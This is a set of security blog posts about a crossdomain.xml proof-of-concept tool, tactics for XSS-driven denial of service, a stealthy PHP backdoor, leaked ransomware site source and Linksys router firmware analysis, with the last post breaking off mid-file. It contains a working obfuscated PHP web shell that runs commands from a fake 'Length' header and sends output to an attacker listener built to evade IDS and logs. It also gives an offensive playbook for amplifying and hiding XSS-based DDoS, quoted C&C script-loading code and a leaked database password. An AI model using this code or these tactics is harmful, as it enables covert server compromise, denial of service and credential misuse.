After recently looking into how Adobe flash player does cross site requests I noticed that there was a shocking lack of tools to demonstrate crossdomain.xml insecurities. It seems like a pretty easy proof of concept to build so why isn’t there a tool to test this? Naturally I Googled around and couldn’t find anything so I decided to build my own over the weekend.

For those not familiar with Crossdomain.xml and how it applies to Flash/Adobe plugins…

Taken straight from Adobe’s website:

Why do you require a crossdomain.xml file?

cross-domain policy file is an XML document that grants a web client, such as Adobe Flash Player or Adobe Acrobat (though not necessarily limited to these), permission to handle data across domains. When clients request content hosted on a particular source domain and that content make requests directed towards a domain other than its own, the remote domain needs to host a cross-domain policy file that grants access to the source domain, allowing the client to continue the transaction.

Source: http://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html

To put it simply, the Adobe flash equivalent of Cross Origin Resource Sharing is accomplished by checking “http://yourdomain.com/crossdomain.xml” file for permissions.

So if you have a crossdomain.xml file that looks like this:

<cross-domain-policy> 
    <allow-access-from domain="*" /> 
</cross-domain-policy>

You are allowing any random domain to load a flash app which has permissions to do authenticated POST/GET requests on the clients behalf. So if they were logged into a site with a vulnerable crossdomain file they could potentially preform any action on behalf of the user (send money, messages, delete things, all sorts of stuff). It’s like a XSS vulnerability but with a flash requirement (not to make it sound unappealing or anything).

I also got the grand opportunity to discover Actionscript and all of it’s fun (missing) features. While trying to build a proof of concept I ran into a ridiculous amount of quirks – everything from not being able to read the response headers to not being able to send a POST request without body data (don’t worry it auto-converts the request to a GET for you). So, if the proof of concept is missing something (like the OPTIONS/DELETE/etc method) check to see if it’s not just an inadvertent HTML5 advertisement.

ANYWAYS, enough moaning!

Crossdomain.xml Proof of Concept Tool

( This is just an image, click to get to the tool )

( This is just an image, click to get to the tool )

If you know more than me about Actionscript (if you’ve spent more than a few hours on it you probably do) and see something missing from this tool – let me know and I’ll add it :)

Permalink: //thehackerblog.com/crossdomain/

Till next time,
-mandatory

After reading Incapsula’s blog post about how an “Alexa Top 50″ website suffered an XSS vulnerability which hacker(s) used to attack a victim domain it got me thinking. The attack simply preformed an XMLHttpRequest to the victim domain on a continuous loop to flood the target with rogue GET requests.

The snippet provided by Incapsula:

// JavaScript Injection in <img> tag enabled by Persistent XSS 
<img src="/imagename.jpg" 
onload="$.getScript('http://c&cdomain.com/index.html')" />

// Malicious JavaScript opens hidden <iframe>
function ddos(url) {
$("body").append("<iframe id='ifr11323' style='display:none;' 
src='http://c&cdomain.com/index.html'></iframe>");
}

//  Ajax DDoS tool in executes GET request every second
<html><body> 
<h1>Iframe</h1>
<script>    
ddos('http://www.target1.com/1.jpg',
    'http://www.target2.com/1.jpg');
function ddos(url,url2){
            window.setInterval(function (){
                $.getScript(url);
                $.getScript(url2);
                        },1000)
        }
</script>
</body></html>

This attack seemed very simple and perhaps was just a test of the functionality of this attack.

Clever, the attacker uses an XSS vulnerability in a popular site to make uninfected victims attack a target domain. No need for dirty exploit packs and keeping malware under detection from AV! Although a simple patch from the vulnerable site could stop this exploit pretty quickly.

Better XSS DoS Attack?

So our biggest fear as a hacker would be:

  • The vulnerable site figuring out our madness and fixing their vulnerable site
  • The victim site figuring out where the attack originated from and contacting the vulnerable site about it
  • The victim site being able to filter out these malicious requests from happening
  • Not causing enough damage with the flood of requests coming in (think more bang for your request!)
  • Finding a vulnerable site with lots of traffic and persistent viewers

Here are a few tricks that a hacker could use to make this type of attack even stronger and more stealthy.

Request the Most Resource Intensive Page

Every request counts – a hacker should ensure that his victim’s flood isn’t going to waste. Choosing a page which upon request would cause the most backend work is an important part.

For example a request for:

http://victim.com/index.php

Wouldn’t be as resource intensive as:

http://victim.com/search.php?query=e&category=all&results=100

The second URL would cause a considerable amount more work on the victim’s server. Searching for the letter “e” in the entire database is a pretty exhaustive action!

Even worse if a site had a page such as:

http://victim.com/email_us.php

Without any sort of CSRF token protection, chaining the vulnerabilities together could cause one hell of a headache! A bunch of XMLHttpRequests hammering an email contact form could end very badly indeed.

The possibilities are quite endless especially when you start chaining together other “low risk” vulnerabilities.

Hiding the source of the attack is probably a good idea as well, if the victim site sees lots of “Referer” headers pointing to “hacker-site.pw” or “vulnerable-site.com” they may investigate.

A better route would probably look more like this following: [ Vulnerable Site XSS ] -> Hacker Site With Redirect -> Link Shortener -> Victim Site Search Query</p>

That seems like a pretty long chain but it has the advantage of having the referer come out as a link shortener service and not the hacker’s site or the vulnerable site. It also allows flexibility to swap out link shortening services if a link is marked as bad or deleted.

What about chaining another vulnerability to make things better? What if our victim site was vulnerable to open redirect? Perhaps just a random site with an open redirect vulnerability? [ Vulnerable Site XSS ] -> Hacker Site With Redirect -> Victim Site Open Redirect Page -> Victim Site Search Query</p>

Now the victim site is gonna have a bit of an issue filtering traffic since it’s coming from a page of their own! [ Vulnerable Site XSS ] -> Hacker Site With Redirect -> Random Site Open Redirect Page -> Victim Site Search Query</p>

This chain involves some random site with an open redirect vulnerability being the last hop. This effectively removes the issue of being flagged by a URL shortener and shifts the work onto the victim site to fix the open site redirect page.

If the hacker wanted to be extra clever he could simple make his domain appear as an ad server or some sort of analytics service. For example a background HTTP request for a site like “burst-analytics.com” looks a lot more legitimate then a site like “viagra-free-sample.ru” or “03495ja.info”. If done in a clever way the attack could be preformed for a reasonable period without detection by any of the users preforming the attack.

Finding a Good Vulnerable Site

Finally, having a certain type of vulnerable site is an important factor. As pointed out by Incapsula video sites are an effective target because victims spend a long period on a page watching a video to completion. This becomes the perfect site because the longer the page is open the longer the attack goes on for.

Even better, what if it was a site that people usually had multiple tabs open? Videos are cool but having 20 tabs open (like seemingly every Chrome user in existence) is a multitude stronger of an attack.

Sites like Reddit, Digg, and other linked sharing services are a good choice for these types of attacks. It also goes without saying that porn sites are *ahem* a good option due to the fact that users often open lots of tabs for the same site. Not that I’m judging.

Even better are sites like Spotify or desktop apps that are basically watered down web views which can sit in your dock idling forever. If you had an XSS attack running on one of those services it could continue 24/7 uninterrupted.

If you really wanna get crazy, make the XSS a worm and spread it across even more of the site. See this post about doing JavaScript self propagating worms here that I wrote a while ago.

Conclusion

Overall these types are attacks are bound to happen again as they are simple and effective when done in a clever way. If chained with a lack of CSRF tokens or an Open Redirect vulnerability things could get much more powerful and complex. They also have a big advantage in that they don’t require any sort of infection on a victims computer but rather just some rogue JS on a vulnerable site.

It really makes you think, should these large sites be help responsible for vulnerabilities that allow attacks like this to happen? A good comparison would be DNS amplification attacks which allow DoS attack to be amplified through the use of vulnerable DNS servers.

Until next time,

-mandatory

EDIT: Never had a post with so much split between loving/hating it. I’m enjoying all the constructive criticism though so I guess it’s a win/win either way.

A while ago, after discovering that a popular hacking site was hosting backdoor scripts that were themselves backdoored, I began to think about how someone would backdoor some PHP code in the most stealthy way.

However, before attempting to create an invisible PHP shell I first had to define what that looks like.

Requirements

  • Lightweight – The code should be tiny and unnoticeable, not more than a few lines. Else it risks being found by somebody looking over source code.
  • Discrete Code – This shell should not utilize any sort of ‘obvious’ functions that would be found by simply grepping for them.
  • IDS Resistant – No IDS should pick up the shell in use, network traffic shouldn’t throw any alarms.
  • Consistent Logs – We obviously don’t want to introduce anything odd into the logs to alert anyone.
  • Universally Compatible – No functions should be used that wouldn’t work on 99% of PHP installs.

I think these are fair goals to achieve, but will it be easy?

A First Attempt

My first attempt came after reading multiple articles on the topic. If nothing else I learned a lot of cool PHP tricks that I didn’t know before (and about being stealthy with your shells!)

Here are some of the articles I read, along with a short description of each:

http://www.justanotherhacker.com/2011/12/writing-a-stealth-web-shell.html – .htaccess shell that not only has IDS evasion baked in but is also invisible in Apache logs. I love this post and have come back to it many times.

http://stackoverflow.com/questions/3115559/exploitable-php-functions – A stackoverflow question about exploitable PHP functions, revealing the truth that it’s nearly impossible to simply block or grep a PHP shell.

http://seclists.org/bugtraq/2001/Jul/att-26/studyinscarlet.txt – Good paper on PHP vulnerabilities, which is perfect if you were going to simply introduce a vulnerability in code you’d rather exploit.

After reading those links and lots of PHP documentation I created my attempt:

@c();
function c(){try{if(isset($_SERVER['HTTP_LENGTH'])){set_time_limit(0);$c=explode("\x15",base64_decode(substr($_SERVER['HTTP_LENGTH'],2)));file_get_contents( $c[2]."qu".urlencode( base64_encode(gzcompress($c[0]($c[1]),9))));}}catch(Exception $e){}

Woah, that’s hard to read! Here’s the same code formatted for less eye-bleeding:

@c();

function c(){
    try{
        if(isset($_SERVER['HTTP_LENGTH'])) {
            set_time_limit(0);
            $c=explode("\x15",base64_decode(substr($_SERVER['HTTP_LENGTH'],2)));
            file_get_contents( $c[2]."qu".urlencode(base64_encode(gzcompress($c[0]($c[1]),9))));
        }
    }catch(Exception $e){}
}

That’s a little better, here’s a breakdown for those who don’t speak obfuscated PHP.

@c();

In PHP the ‘@’ symbol will silence any errors/warnings that occur while executing the function. In case things don’t go as expected during run-time!

function() {
    [CODE]
}

Due to the fact that we are sending our response in HTTP headers we will need to execute this function before any headers/data are sent. This means it will have to be put towards the top of the code. Not good if we want it to be stealthy! So we wrap it up in a function which is called by c();. We then place c(); in the script before code is executed.

set_time_limit(0);

This sets the time limit to be infinite on run time so the script will not timeout during our operations. Optional but importantly if you’ll be attempting a long operation with the shell.

$c=explode("\x15",[STRING]);

This function creates an array by splitting a string by a set delimiter. The string is being split by the non-printable ASCII character “NAK” character. This is also advantageous because it’s not a character we’d ever send in a command.

base64_decode([BASE64_STRING]);

Decoding an input Base64 string into plain text.

substr([STRING], 2);

Remove the first two characters of a string, this is to throw off IDS trying to decode the Base64 string. Any attempts to decode the encoded string will fail due to two random characters being added to the front of the input.

$_SERVER['HTTP_LENGTH'];

This looks like length of HTTP data being sent to the server at first but it is not. PHP’s $_SERVER variable stores information about headers the browser has sent to the server. Interestingly enough, if I add a header called “Length” in my request it would fill up the variable $_SERVER[‘HTTP_LENGTH’] with the header’s content. This is tricky to anyone reading it and might throw even a PHP guru off the idea of malice. Since this is not a real HTTP header, it has no side effects that could damage our connection.

file_get_contents( $c[2]."qu".urlencode(base64_encode(gzcompress($c[0]($c[1]),9))));

This is how we send the response back to our server, the $c[2] array element contains our remote PHP listener that we will send the response to. For example, this variable may contain “http://example.com/listener.php?r=”. We also URL encode the sent base64 string because it may contain equal characters which have special meaning in URLs.

gzcompress($c[0]($c[1]),9)

Use level 9 ZLIB compression on the string, the highest compression available to send our response. If our response contains a large amount of repeated characters we will save a large amount of network traffic.

$c[0]($c[1])

PHP is a weird language, riddled with ‘hidden features’. This one might be easier to explain with code…

Say I wanted to call shell_exec, I could do something like this:

shell_exec("ls");

But I could also do it like this:

$function = "shell_exec";
$arg = "ls";
$function($arg);

The two pieces of code do the same thing, you can have variables creating and running any function you wish.

Like I said, weird language 😉

I’d also like to note that you can execute code like so:

`ls`

Yep, simple backticks or “Execution Operators” in PHP are enough to execute shell commands.

I decided against this as I also wanted the ability to call PHP functions like phpinfo(); if I desired. Which could be useful in a pinch or to gain some quick information about the environment you’re dealing with.

try{
    [CODE]
}catch(Exception $e){}

Just to be paranoid we nest the entire thing in a try/catch statement to stop any fatal errors from occurring. No change of filling up the error log this way, with gives it points in the “Consistent Logs” category.

So what about that listener?

<?php

if( isset($_GET['r']) ) {
    $response = gzuncompress( base64_decode( substr( $_GET['r'], 2 ) ) );
    file_put_contents( "response.txt", $response );
}

?>

The listener is very simple, it gets the value of $_GET[‘r’] and deobfuscates, decodes, and writes the response to “response.txt”.

So we have our remote shell, our listener, but now we need the final script to tie it all together.

RAGE – The Shell Controller

Selection_087

The shell works in the following way:

  1. A GET request is preformed to the backdoored PHP page on the remote server
  2. The backdoored page then preforms it’s own GET request to the hacker’s server with the command output
  3. Rinse, repeat

This has the advantage of keeping all request sizes the same:

127.0.0.1 - - [01/Apr/2014:12:14:52 -0700] "GET /php/ HTTP/1.1" 200 5355 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36" # ls
127.0.0.1 - - [01/Apr/2014:12:15:35 -0700] "GET /php/ HTTP/1.1" 200 5355 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36" # whoami
127.0.0.1 - - [01/Apr/2014:12:50:19 -0700] "GET /php/ HTTP/1.1" 200 2711 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0"

The first request was an “ls” command and the second was a “whoami” command – note the size for both is 5355 and is consistent. The final request is a regular GET request from my Firefox web browser for comparison. So while the shell request is bigger than other requests it could (hopefully) be ruled out as an odd browser/web crawler with a large request header. Sadly because it’s not completely unnoticeable we lose points in the stealth category for this one. Outgoing connections could also be detected but since they only occur for a few seconds they shouldn’t be too noticeable.

How did we do?

  • Lightweight – The code is fairly lightweight and compact at only a few lines
  • Discrete Code – The code uses no obvious/grep-able functions so it should be fairly discrete
  • IDS Resistant – Most IDS wouldn’t be able to decode the traffic due to it being botched up Base64 encoding so I’d consider this fulfilled. The only issue being the outgoing GET requests to our control server that could give us away.
  • Consistent Logs – Logs are fairly consistent, the request sizes are always the same regardless of command but are sadly larger that normal.
  • Universally Compatible – This shell is very compatible since it allows virtually any PHP function to be used in case of a function blacklist.

Overall a fun exercise in both PHP and security – love to hear any suggestions on improvement to the shell. Especially form sysadmins or PHP gurus who have insight on how they detect intrusions.

For the full RAGE shell source click here

Until next time,

-mandatory

After reading about the Cryptorbit Decryptor malware on BleepingComputer.com I did a bit of investigating of the .onion domain (http://4sfxctgp53imlvzk.onion)

Let me just say I think these malware authors are the scum of the earth. More so than regular malware authors because they have, and continue to, put honest businesses out of work due to loss of important files. It’s a sickening practice and I hope you all get caught and charged with the full weight of your crimes.

Quick note: Tools are available to aid in decryption of these files. Click here for more information.

That being said, here is what the website looks like:

Doesn't get scummier

Doesn’t get scummier

Nice little ransom note on an anonymous .onion domain with anonymous ways to pay them. Great.

So naturally I poked around with various odd inputs but got very little out of it. That is until I visited this URL: http://4sfxctgp53imlvzk.onion/robots.txt

Why? Old habit. But what I found makes me smile.

Full PHP source anyone?

<?php
session_start();
define('DBHOST', 'localhost');
define('DBUSER', 'site');
define('DBPASS', 'Be6mybCWhpFpgG4u');//Dostep do sql zamiana!!!
define('DBNAME', 'site');
mysql_connect(DBHOST, DBUSER, DBPASS);
mysql_select_db(DBNAME);
$errors = $success = "";
if(isset($_GET['captcha']) && $_GET['captcha'] == 1){
	include('kcaptcha6791/kcaptcha.php');
	$captcha = new KCAPTCHA();
	if($_REQUEST[session_name()]){
		$_SESSION['captcha_keystring'] = $captcha->getKeyString();
	}
	exit();
}
if(isset($_GET['page']) && !in_array($_GET['page'], array('ukash','paysafecard','moneypack','faq','support')))
	exit();
if(isset($_POST['check_code'])){
	if(!preg_match('/^([a-f0-9]){8}-([a-f0-9]){8}$/i',$_POST['check_code'])){
		$errors .= 'Incorrect Code<br />';
	}else{
		list($temp,$code) = explode('-',$_POST['check_code']);
		$result = mysql_query('SELECT `Country` FROM `names` WHERE `NameId`="'.$code.'" LIMIT 1');
		if($result && mysql_num_rows($result)){
			$country = mysql_result($result,0,'Country');
			$result = mysql_query('SELECT `Price` FROM `price` WHERE `Country`="'.$country.'" LIMIT 1');
			if($result && mysql_num_rows($result)){
				$price = mysql_result($result,0,'Price');
			}
		}
	}
}else if(isset($_POST['code']) && (isset($_POST['purse']) || isset($_POST['moneypack']) || isset($_POST['paysafecard']) || isset($_POST['ukash'])) && isset($_POST['email']) && isset($_POST['keystring'])){
	if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] != $_POST['keystring']){
		$errors .= 'Incorrect Captcha<br />';
	}
	if(!preg_match('/^([a-f0-9]){8}-([a-f0-9]){8}$/i',$_POST['code'])){
		$errors .= 'Incorrect Code<br />';
	}
	$query = '';
	if(isset($_POST['purse']) && !preg_match('/^([a-z0-9]){20,100}$/i',$_POST['purse'])){
		$errors .= 'Incorrect Transaction ID<br />';
	}
	if(isset($_POST['moneypack']) && !preg_match('/^([0-9]){14}$/i',$_POST['moneypack'])){
		$errors .= 'Incorrect MoneyPack<br />';
	}
	if(isset($_POST['paysafecard']) && !preg_match('/^([0-9]){16}$/i',$_POST['paysafecard'])){
		$errors .= 'Incorrect PaySafeCard<br />';
	}
	if(isset($_POST['ukash']) && !preg_match('/^([0-9]){19}$/i',$_POST['ukash'])){
		$errors .= 'Incorrect Ukash<br />';
	}
	if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
        $errors .= 'Incorrect Email<br />';
	}
	if(!$errors){
		if(isset($_POST['purse'])){
			$purse = $_POST['purse'];
			$type = 0;
		}else if(isset($_POST['moneypack'])){
			$purse = $_POST['moneypack'];
			$type = 1;
		}else if(isset($_POST['paysafecard'])){
			$purse = $_POST['paysafecard'];
			$type = 2;
		}else if(isset($_POST['ukash'])){
			$purse = $_POST['ukash'];
			$type = 3;
		}else{
			exit();
		}

		$country = '';
		list($temp,$code) = explode('-',$_POST['code']);
		$result = mysql_query('SELECT `Country` FROM `names` WHERE `NameId`="'.$code.'" LIMIT 1');
		if($result && mysql_num_rows($result)){
			$country = mysql_result($result,0,'Country');
		}

		mysql_query('INSERT INTO `codes` SET `time`='.time().', `type`='.$type.', `purse`="'.mysql_real_escape_string(strip_tags($purse)).'", `code`="'.strtoupper(mysql_real_escape_string(strip_tags($_POST['code']))).'", `email`="'.mysql_real_escape_string(strip_tags($_POST['email'])).'", `country`="'.mysql_real_escape_string(strip_tags($country)).'"');
		if(($error = mysql_error()) && preg_match('/Duplicate entry(.*)for key \'purse\'/', $error)){
			$errors .= 'Transaction already exists';
		}else{
			$success = 'You request was send';
		}
	}	
}else if(isset($_POST['code']) && isset($_POST['email']) && isset($_POST['message']) && isset($_POST['keystring'])){
	if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] != $_POST['keystring']){
		$errors .= 'Incorrect Captcha<br />';
	}
	if(!preg_match('/^([a-f0-9]){8}-([a-f0-9]){8}$/i',$_POST['code'])){
		$errors .= 'Incorrect Code<br />';
	}
	if(!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
		$errors .= 'Incorrect Email<br />';
	}
	if(strlen($_POST['message']) > 300){
		$errors .= 'Message text must be less than 300 symb.<br />';
	}
	if(!preg_match('/^([a-zA-Z0-9,\.\?\:\;\- ])+$/i',$_POST['message'])){
		$errors .= 'Message must contains only a-z, 0-9, punctuation marks and spaces.<br />';
	}
	if(!$errors){
		$code = strtoupper(mysql_real_escape_string(strip_tags($_POST['code'])));
		$email = mysql_real_escape_string(strip_tags($_POST['email']));
		$message = mysql_real_escape_string(strip_tags($_POST['message']));
		mysql_query('INSERT INTO `dec_support` SET `time`='.time().', `code`="'.$code.'", `email`="'.$email.'", `message`="'.$message.'"');
		if($error = mysql_error()){
			$errors = 'Error sending message';
		}else{
			$success = 'Message was send';
		}
	}
}
$purse = mysql_query('SELECT `purse` FROM `codes` WHERE `code`="admin" ORDER BY RAND() LIMIT 1');
?>
<!DOCTYPE html><html><head><title>index</title></head><body style="background-color:#f4f4f6;" style="margin:20px">
<hr>
<p>We are present a special software - CRYPTORBIT DECRYPTER - which is allow to decrypt and return control to all your encrypted files.</p>
<hr>
<p>We accept payment in Bitcoin. Please enter in form below your Personal Code (you can find it in HOWDECRYPT.txt file) to get price for decryptor:</p>
<form action="index.php<?php echo isset($_GET['page'])?'?page='.$_GET['page']:''?>" method="post">
<table cellspacing="3" cellpadding="3">
<tr><td>Personal Code:</td><td><input type="text" name="check_code" style="width:200px" value="<?php echo ($errors && isset($_POST['check_code']))?$_POST['check_code']:''?>"></td><td><input type="submit" value="Check"></td></tr>
</table>
</form>
<?php if(!$errors && isset($_POST['check_code'])):?>
<?php if(isset($price)):?>
Price: <?php echo $price?> BTC<br />
<?php else:?>
Price: 0,8BTC<br />
<?php endif;?>
<?php endif;?>
<br />
<p><b>How to buy CRYPTORBIT decryptor?</b></p>
<p>1. First, you should register Bitcon wallet (<a href="http://www.wikihow.com/Create-an-Online-Bitcoin-Wallet" target="_blank">click here for more information with pictures</a>) </p>
<p>2. Purchasing Bitcoins - Although it's not yet easy to buy bitcoins, it's getting simpler every day.  Here are our recommendations:</p>
<ul>
<li><a href="https://localbitcoins.com/" target="_blank">LocalBitcoins.com</a> - This fantastic service allows you to search for people in your community willing to sell bitcoins to you directly.</li>
<li><a href="http://howtobuybitcoins.info/" target="_blank">How To Buy Bitcoins</a>  -  An international directory of bitcoin exchanges.</li>
<li><a href="https://cashintocoins.com" target="_blank">Cash Into Coins</a> - Recommended for fast, simple service.</li>
<li><a href="https://coinbase.com/" target="_blank">Coinbase</a> - Bitcoin exchange based in the United States.  (Highly rated).</li>
<li><a href="https://www.bitstamp.net/" target="_blank">BitStamp</a> - A multi currency bitcoin exchange based in Slovenia.  (Highly rated).</li>
<li><a href="https://www.mtgox.com/" target="_blank">MtGox</a> - A multi currency bitcoin exchange based in Japan</li> 
<li><a href="https://www.coinjar.com/buy_bitcoins" target="_blank">CoinJar</a>  -  CoinJar allows direct bitcoin purchases on their site.  They're based in Australia but serve an international clientele.</li>
</ul>
<p>3. Transfer <?php echo $price?> BTC to our wallet: <?php echo ($purse && mysql_num_rows($purse))?mysql_result($purse,0,'purse'):''?> </p>
<p>4. Complete the form below and click Submit.</p>
<p>5. Within 24 hours you will receive email containing archive with CRYPTORBIT decryptor. Simply run decrypter and wait until decryption proccess finished. After this operation is finished all your files will be decrypted.</p>
<p><a href="http://www.youtube.com/watch?v=WV3wzN3OV2I">Here</a> you can see video about our decrypter.</p> 
<b>Please, submit this form only after successful payment.</b><br />
<b>Note: Personal Code - you can find in HOWDECRYPT.txt file.</b><br />
<b>Note: Yahoo don't accept our email, so use another service</b><br />
<b>Note: Transaction ID - you can find in detailed info about transaction you made. Check it twice. We can't verify your payment if you fill it with incorrect transaction id.</b><br />
<p><hr>

<div style="float:left;padding:15px;<?php echo !isset($_GET['page'])?'border:#333 1px solid':''?>"><a href="index.php">Pay by BTC</a></div>
<div style="float:left;padding:15px;<?php echo isset($_GET['page']) && $_GET['page'] == 'faq'?'border:#333 1px solid':''?>"><a href="index.php?page=faq">FAQ</a></div>
<div style="float:left;padding:15px;<?php echo isset($_GET['page']) && $_GET['page'] == 'support'?'border:#333 1px solid':''?>"><a href="index.php?page=support">Support</a></div>
<div style="clear:both;margin-bottom:10px"></div>
<div style="color:red;margin-bottom:10px"><?php echo $errors?></div>
<div style="color:green;margin-bottom:10px"><?php echo $success?></div>
<?php if(isset($_GET['page']) && $_GET['page'] == 'faq'):?>
<b>Frequenly Asked Questions</b><br /><br />
Question: How can I decrypt my files after payment? <br /><br />
Answer: We will send you special CRYPTORBIT decrypter that decrypts all your files. We guarantee that all your files will be decrypted. <br /><br /><br />
Question: What did I have to fill in form "Transaction ID" <br /><br />
Answer:  Fill this form with bitcoin transaction address wich are you payed(example 33166efca56ef039386ddb929c40bf34f09a27c42f07f5cf3e2aa08114c4d1f5) <br /><br /><br />
Question: How long should I wait program after payment. <br /><br />
Answer: Within 24 hours you will receive an email with decryptor.  If you don't receive it, please submit a form again. And you can report a problem to our support center. <br /><br /><br />
Question: I paid on the last week but i dont get the decrypter software. why??? <br /><br />
Answer: It means that you specify not correct transaction id, so we cant identify your transaction. Check it and fill the form one more time. Also, you should to check junk and spam folders, some services put our mails there<br /><br /><br />
Question: I bought 0.5 BTC, and it took 1 week, now I was willing to pay your decrypter and now the price is 1 BTC. How much will be the price next week.? <br /><br />
Answer:  Price is depends of bitcoins rate. Week ago 1btc rate was 850$, now it cost 300, because of that week ago decrypter costed 0.5btc, but now 1btc  <br /><br /><br />
Question: My files was infected more then month ago, can i still recrypt it with your software? <br /><br />
Answer:  Yes, we can encrypt any files crypted by cryptorbit. There no time limits.<br /><br /><br />
Question: I had to reformat and reinstall windows on my c drive, will I still be able to decrypt the files on my other connected drives?/ Can i ran the decrypter from another computer\windows\vmware? <br /><br />
Answer:  Yes you can.<br /><br /><br />
Question: Can i get decrypter before paying? <br /><br />
Answer:  Yes you can. But money first <br /><br /><br />
<?php elseif(isset($_GET['page']) && $_GET['page'] == 'support'):?>
<b>Support</b><br /><br />
Please use this form only in case of technical difficulties.<br />
<form action="index.php<?php echo isset($_GET['page'])?'?page='.$_GET['page']:''?>" method="post">
<table cellspacing="3" cellpadding="3">
<tr><td>Personal Code:</td><td><input type="text" name="code" style="width:200px" value="<?php echo ($errors && isset($_POST['code']))?$_POST['code']:''?>"></td></tr>
<tr><td>Email:</td><td><input type="text" name="email" style="width:200px" value="<?php echo ($errors && isset($_POST['email']))?$_POST['email']:''?>"></td></tr>
<tr><td>Message:</td><td><textarea name="message" style="width:500px"><?php echo ($errors && isset($_POST['message']))?$_POST['message']:''?></textarea></td></tr>
<tr><td>Captcha:</td><td><input type="text" name="keystring" style="width:100px;margin-top:30px;margin-right:10px;float:left"> <img style="width:160px;height:80px;float:left" alt="Captcha" src="?captcha=1&<?php echo session_name()?>=<?php echo session_id()?>&rand=<?php echo rand(100000,999999)?>"></td></tr>
<tr><td></td><td><input type="submit" value="Submit"></td></tr>
</table>
</form>
<?php else:?>
<form action="index.php<?php echo isset($_GET['page'])?'?page='.$_GET['page']:''?>" method="post">
<table cellspacing="3" cellpadding="3">
<tr><td>Personal Code:</td><td><input type="text" name="code" style="width:500px" value="<?php echo ($errors && isset($_POST['code']))?$_POST['code']:''?>"></td></tr>
<?php if(!isset($_GET['page'])):?>
<tr><td>Transaction ID:</td><td><input type="text" name="purse" style="width:500px" value="<?php echo ($errors && isset($_POST['purse']))?$_POST['purse']:''?>"></td></tr>
<?php endif;?>
<tr><td>Email:</td><td><input type="text" name="email" style="width:500px" value="<?php echo ($errors && isset($_POST['email']))?$_POST['email']:''?>"></td></tr>
<tr><td>Captcha:</td><td><input type="text" name="keystring" style="width:100px;margin-top:30px;margin-right:10px;float:left"> <img style="width:160px;height:80px;float:left" alt="Captcha" src="?captcha=1&<?php echo session_name()?>=<?php echo session_id()?>&rand=<?php echo rand(100000,999999)?>"></td></tr>
<tr><td></td><td><input type="submit" value="Submit"></td></tr>
<tr><td> </td></tr>
<?php if(!isset($_GET['page'])):?>
<?php endif;?>
</table>
</form>
<?php endif;?>
</body></html>
<?php if(!isset($_COOKIE['PageVisited'])){
	setcookie("PageVisited", '1', time()+86400);
	mysql_query('INSERT INTO `visitors` SET `Date`="'.date('Y-m-d').'",`Visitors`=1 ON DUPLICATE KEY UPDATE `Visitors`=`Visitors`+1');
}?>

Sadly after looking through the source I don’t see any obvious vulnerabilities (if there were some, would it be unethical to exploit them?).

The pastebin found here: http://pastebin.com/gj7sH8am

Oops just found out that someone else found this too: https://twitter.com/runasand/status/414179101721636864

Oh well, least here it will be more easily searchable if someone is interested.

Recently I’ve had an interest in trying my hand in embedded device hacking. I decided that I’d pick up something I know to start with. After searching eBay I decided on the popular Linksys WRT54Gv5 router. After personally using this router for years I figured it’d be a nice familiar place to start.

No place like 192.168.1.1!

No place like 192.168.1.1!

My first goal was to reverse engineer the firmware to get a better idea of what the internals looked like. This turned out to be a pain as apparently Linksys doesn’t host the firmware anymore and due to the firmware being copyright protected nobody else does either. Which is an idiotic thing by itself but eventually I was able to find a stock copy. I flashed my router with it to keep it consistent and began analysis of the firmware.

Analysis

After reading a bit from the http://www.devttys0.com/ blog I decided to use binwalk to analyze the firmware file.

Here are the results:

mandatory@mandatorys-box:~/Reversing/5v_Linksys-WRT54Gv5$ binwalk FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin
DECIMAL HEX DESCRIPTION
 -------------------------------------------------------------------------------------------------------------------
 512 0x200 ELF 32-bit LSB MIPS-II executable, MIPS, version 1 (SYSV)
 101648 0x18D10 Copyright string: " 1984-1996 Wind River Systems, Inc.Inc."
 103664 0x194F0 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3680864 bytes
 1182692 0x120BE4 TROC filesystem, 102 file entries
 1185153 0x121581 gzip compressed data, was "apply.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}
 1185892 0x121864 gzip compressed data, was "apply1.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}

Full pastebin here

So, after seeing this I counted myself pretty lucky, here is a breakdown of this data as I understand it:

  • At offset 0x200 we have our MIPS bootloader
  • Offset 0x18D10 is a copyright string for Wind River Systems Inc. this is important because they created the Vxworks Operating System which this router uses
  • Offset 0x194F0 is the Vxworks OS/filesystem which I currently have not been able to disassemble (due to it being a proprietary and largely undocumented filesystem, at least from what I could see)
  • Tons of flat files like “apply.htm” all gzip compressed

Visually our firmware looks like this: [ Bootloader ] [ Copyright String ] [ VxWork OS & Filesystem ] [ TROC Filesystem Entry ] [ gziped htm/image files ]

What makes us lucky is the fact that the gzipped files are concatenated one after another. This allows us to know where each file ends and starts. The offsets are determined by the magic number signatures for the different filetypes. These are simply a couple bytes that mark what type of file is being used. So for example the bytes for the gzip format are 1f 8b – binwalk finds these and lists where in the binary they are located.

Great, so now we can get to the fun part. Logically, we should be able to slice out files and replace them as long as the size is consistent. This is probably not necessary but it’s a worst case scenario (say, if they actually depend on certain offsets for updates).

Chop Chop!

A little bit of dd and we can chop one of the .htm files out of the router for modification. Binwalk has a built in extract function but I could not get it to work properly (attempt it yourself to see what I mean).

dd if=firmware.bin bs=1 skip=[Offset] count=[Next Offset - Current Offset] of=output_filename

We’ll start off with something simple first, let’s cut out just the “Unauthorized.htm” file and the “lastpassword.htm”. I have no idea why “lastpassword.htm” is actually in this firmware but it will display the current router’s password in cleartext. Perhaps a leftover from fun debugging when this firmware was being built.

“lastpassword.htm”:

<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
</HEAD>
